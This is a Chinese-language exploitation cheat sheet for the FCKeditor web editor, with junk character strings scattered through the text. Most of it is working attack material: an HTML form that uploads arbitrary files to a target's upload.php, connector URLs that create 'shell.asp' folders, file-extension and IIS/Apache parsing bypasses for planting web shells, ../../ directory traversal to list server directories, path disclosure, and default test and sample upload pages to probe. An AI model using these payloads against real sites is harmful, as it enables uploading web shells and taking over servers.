Fckeditor漏洞利用总结 8 f [7 ~9 @1 ` o& u) K! [
查看编辑器版本
$ E) R; _1 A# o [8 _ A& h) q3 \/ bFCKeditor/_whatsnew.html
# U2 K; u$ H3 S8 ^, ?—————————————————————————————————————————————————————————————5 ^8 h$ E. \/ A- K- r( n
4 a0 I, f! ~5 R# _! |+ @/ U( j
2. Version 2.2 版本9 m" @7 ?0 m9 S
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
& `" X6 u! l( R O8 P" {—————————————————————————————————————————————————————————————- V1 Y7 Y1 V& G' s& L9 \
( I" H- @* P2 T" A6 E
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。8 X6 H, E$ e+ w3 ], }. x
<form id="frmUpload" enctype="multipart/form-data"
; D7 |' n* T, l3 e- k. Jaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
, P& b, s+ D8 h& [4 |1 L7 t<input type="file" name="NewFile" size="50"><br>
" u4 O0 R! O' l% [<input id="btnUpload" type="submit" value="Upload">
+ r8 Q C8 W4 Y6 T7 {</form>4 d, w6 n( t9 R% [* C
—————————————————————————————————————————————————————————————
& a& |1 g% ]: r* q! k- T' H: x% C2 m+ i3 f: K0 i9 Q
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法* ?5 ?; `, _. e& o* W: G) x1 T
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
Q m B2 W+ f1 ?# X; r* V4 A 4.1:提交shell.php+空格绕过8 X0 ?2 V' I. O# S; E4 q
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
, G/ i1 C' a3 h) W: l& v/ w 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。2 c3 ]0 A, k5 ^5 |" U' B* {
—————————————————————————————————————————————————————————————
& A# f$ [* ?- \4 G) D# C* J) @2 S4 ]9 s
5. 突破建立文件夹6 d, ?0 K. k* [7 W$ s6 H% h$ v
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
1 }2 M: R9 _1 k0 [ hFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
. [6 V) D3 B5 {, G$ w* P& I% [—————————————————————————————————————————————————————————————
2 j2 E5 _7 k( P7 v4 \" H) ~( g2 _& _6 f' F9 ?( r i
6. FCKeditor 中test 文件的上传地址" w8 w4 S; Z5 T9 _2 }" T9 \
FCKeditor/editor/filemanager/browser/default/connectors/test.html; x" s" b! C4 t
FCKeditor/editor/filemanager/upload/test.html
# C$ `# T" O: _. y6 y/ {# Y4 u; L P) bFCKeditor/editor/filemanager/connectors/test.html
! X* ^2 `: ~7 B$ r0 ?/ lFCKeditor/editor/filemanager/connectors/uploadtest.html
4 ]( o5 l2 Z. f—————————————————————————————————————————————————————————————# V3 h6 G/ h6 q0 Y
" l. _# ?: q8 J- ]
7.常用上传地址
! [* O( C' C# L4 d. k: S1 HFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
# Z$ s- z. f# ?/ pFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
6 ?5 c& [6 A- c. x+ gFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
5 b x# u" P* ^JSP 版:& ]) |- g0 W4 N% w7 }+ I
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
" c$ U) C5 n- `注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
+ H( O& i/ R \, G @. D' [. x9 b件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
2 L; c0 |9 ~8 N! G, s: O—————————————————————————————————————————————————————————————+ j+ U. K) k' q3 X) `, N
/ \# m; f& y F7 N( q6 l8.其他上传地址& q- C, B; z7 s& [* ^+ J# C+ e, j, k
FCKeditor/_samples/default.html
4 d- i8 v+ H: R8 p/ F3 OFCKeditor/_samples/asp/sample01.asp; ^# n) S W9 N& C
FCKeditor/_samples/asp/sample02.asp- D9 k3 a& k, ~. M- z* r
FCKeditor/_samples/asp/sample03.asp! ~: o0 Q- E5 {; O7 l* ^
FCKeditor/_samples/asp/sample04.asp
2 ]& q2 [. `7 S7 f' d" |一般很多站点都已删除_samples 目录,可以试试。
5 u" b! F" E" g% oFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
- J. k! K$ q8 p- x4 n( Z) }; n/ w—————————————————————————————————————————————————————————————
3 n/ w- r, G( F2 ~# B5 S, N P
9.列目录漏洞也可助找上传地址' B. I% [3 }, n1 r4 @0 H2 Y
Version 2.4.1 测试通过
& R+ I$ ~, i3 M; R修改CurrentFolder 参数使用 ../../来进入不同的目录$ W3 C9 t( [4 I' d
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp* `( U) S0 l* r
根据返回的XML 信息可以查看网站所有的目录。
0 ~# l& \9 U8 i. DFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F ~" I8 q: B3 P' D2 `7 [. ~
也可以直接浏览盘符:
9 K% G2 Q! t7 R2 ^& V1 kJSP 版本:
: @9 d4 U+ z: ~' A9 N3 oFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F* t7 n- u4 y& O% ?" {1 x% U9 n
—————————————————————————————————————————————————————————————9 e& S0 c9 G; x6 n- M
! _4 a" D" a, T, w
10.爆路径漏洞& K o: @% U( M
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp6 ]% M9 v) n; O: f# X
—————————————————————————————————————————————————————————————
" I2 L! _. F% b3 b
/ Q! |) L! N8 r7 h11. FCKeditor 被动限制策略所导致的过滤不严问题
, a1 ]: p, G, o/ y3 M) ]) E9 i 影响版本: FCKeditor x.x <= FCKeditor v2.4.35 V4 Z5 P3 a6 r: N8 v
脆弱描述:
/ f6 d9 Z6 m0 q9 l; x# L: bFCKeditor v2.4.3 中File 类别默认拒绝上传类型:! i; s4 x$ w* ~" @2 b
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
- w c9 F/ I5 m3 B: m7 E7 V7 B5 {, TFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
' e3 P" r/ N/ O, u 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。/ Z0 l& k/ K/ o& `; l8 G8 W
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!0 A0 ]! o& Z4 i+ L
—————————————————————————————————————————————————————————————' f$ Y/ h' m# ?4 f
8 a2 z& M- u2 d+ Q, u12.最古老的漏洞,Type文件没有限制!
& h" [' A& U% a 我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! 1 k& s9 @& b m4 i1 p# c6 c1 y
—————————————————————————————————————————————————————————————
) [: P- Q) T8 F) j3 l) I/ A @' p& C$ | q% h: w
===============================================================================================================================================9 a) R7 d! u% R1 n/ J4 q+ M5 q
2 t" l c3 ]- iFCK编辑器jsp版本漏洞:8 w- o- E* h9 s- w6 \- l
, o! j& X' ]' y
# x7 z7 \, `! b+ ~ shttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
) n; C; \" x. N5 I- M T- R! D# V4 s, A5 m0 o( [* o/ h6 m
上传马所在目录
2 @# a" t- D! YFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
/ W+ [) n' i: v5 p; [; k上传shell的地址:2 F& h4 o. R* ?$ Y/ u
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
1 \6 X) p' P% R0 K z跟版本有关系.并不是百分百成功. 测试成功几个站.( ]7 J" S! I# S6 U* T3 o4 u# C
不能通杀.很遗憾.
8 G8 q: p0 o6 V$ s% f0 P0 y& z @http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector# W+ i+ }* Y8 H& L. ?2 J
如果以上地址不行可以试试. W- a; b. _& u# X4 d' W
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
' P, `, g3 m. YFCKeditor/_samples/
5 D% M6 m* O% S& m% R8 n' ?$ IFCKeditor/_samples/default.html
1 @5 ?8 R# j4 dFCKeditor/editor/fckeditor.htm& ?4 M! A6 B n4 r4 z5 ]- T) L
FCKeditor/editor/fckdialog.html
6 J6 a) J& g# A0 x3 K
/ ]& C2 O% T; o2 [! }! x0 X" @
7 L+ [' h; r5 ?& U6 @3 O& o" Z
, S# ^2 B& k6 s. O9 T1 g9 S解析漏洞+未重命名文件时上传漏洞 1.asp;jpg w9 z: a+ l+ G5 [& J
|